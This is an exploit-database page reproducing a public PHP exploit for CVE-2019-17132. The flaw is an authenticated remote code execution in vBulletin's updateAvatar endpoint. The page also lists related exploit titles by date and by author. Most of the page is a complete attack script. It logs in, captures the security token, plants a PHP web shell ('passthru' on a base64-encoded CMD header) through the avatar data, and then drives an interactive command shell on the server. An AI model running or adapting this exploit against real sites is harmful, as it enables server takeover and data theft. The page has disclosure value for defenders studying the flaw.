Menu

Search for hundreds of thousands of exploits

"vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution"

Author

Exploit author

EgiX

Platform

Exploit platform

php

Release date

Exploit published date

2019-10-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php

/*
    ---------------------------------------------------------------------
    vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
    ---------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "data[extension]" and "data[filedata]" parameters to
    the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used
    to update users' avatars. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability requires the "Save Avatars as Files" option
    to be enabled (disabled by default).

    [-] Disclosure timeline:
    
    [30/09/2019] - Vendor notified
    [03/10/2019] - Patch released: https://bit.ly/2OptAzI
    [04/10/2019] - CVE number assigned (CVE-2019-17132)
    [07/10/2019] - Public disclosure

*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

print "+-------------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc != 4)
{
	print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
	print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
	print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
	die();
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n");

print "[-] Logged-in! Retrieving security token...\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n");

print "[-] Uploading new avatar...\n";

$params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, false);

if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n");

if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n");

print "[-] Updating avatar with PHP shell...\n";

$php_code = '<?php print("____"); passthru(base64_decode($_SERVER["HTTP_CMD"])); ?>';

$params = ["routestring" => "ajax/api/user/updateAvatar",
           "userid" => 0,
           "avatarid" => 0,
           "data[extension]" => "php",
           "data[filedata]" => $php_code,
           "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

if (curl_exec($ch) !== "true") die("[-] Update failed!\n");

print "[-] Launching shell...\n";

preg_match('/(\d+)\.jpeg/', $path, $m);
$path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path);

curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-10-07 "vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution" webapps php EgiX
2013-11-08 "Vanilla Forums 2.0 < 2.0.18.5 - 'class.utilitycontroller.php' PHP Object Injection" webapps php EgiX
2013-08-02 "vTiger CRM 5.4.0 SOAP - Multiple Vulnerabilities" webapps php EgiX
2013-04-26 "Joomla! 3.0.3 - 'remember.php' PHP Object Injection" webapps php EgiX
2013-02-27 "Joomla! 3.0.2 - 'highlight.php' PHP Object Injection" webapps php EgiX
2013-02-07 "CubeCart 5.2.0 - 'cubecart.class.php' PHP Object Injection" webapps php EgiX
2013-01-28 "DataLife Engine 9.7 - 'preview.php' PHP Code Injection" webapps php EgiX
2012-11-01 "Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-07-04 "Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-06-23 "SugarCRM CE 6.3.1 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-05-02 "OpenConf 4.11 - '/author/edit.php' Blind SQL Injection" webapps php EgiX
2012-04-23 "WebCalendar 1.2.4 - Remote Code Execution" webapps php EgiX
2012-03-23 "PHPFox 3.0.1 - 'ajax.php' Remote Command Execution" webapps php EgiX
2012-01-27 "vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit)" webapps php EgiX
2012-01-23 "WordPress Plugin Kish Guest Posting 1.0 - Arbitrary File Upload" webapps php EgiX
2012-01-19 "appRain CMF 0.1.5 - 'Uploadify.php' Unrestricted Arbitrary File Upload" webapps php EgiX
2011-12-22 "Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection" webapps php EgiX
2011-12-07 "Traq 2.3 - Authentication Bypass / Remote Code Execution" webapps php EgiX
2011-11-30 "WikkaWiki 1.3.2 - Multiple Vulnerabilities" webapps php EgiX
2011-11-23 "PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (1)" webapps php EgiX
2011-11-19 "Support Incident Tracker 3.65 - 'translate.php' Remote Code Execution" webapps php EgiX
2011-11-16 "FreeWebShop 2.2.9 R2 - 'ajax_save_name.php' Remote Code Execution" webapps php EgiX
2011-11-13 "WordPress Plugin Zingiri 2.2.3 - 'ajax_save_name.php' Remote Code Execution" webapps php EgiX
2011-11-05 "aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-05 "PHPMyFAQ 2.7.0 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-05 "ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-04 "Ajax File and Image Manager 1.0 Final - Remote Code Execution" webapps php EgiX
2011-10-27 "eFront 3.6.10 (build 11944) - Multiple Vulnerabilities" webapps php EgiX
2011-10-23 "phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (1)" webapps php EgiX
2011-10-18 "Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection" webapps php EgiX
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.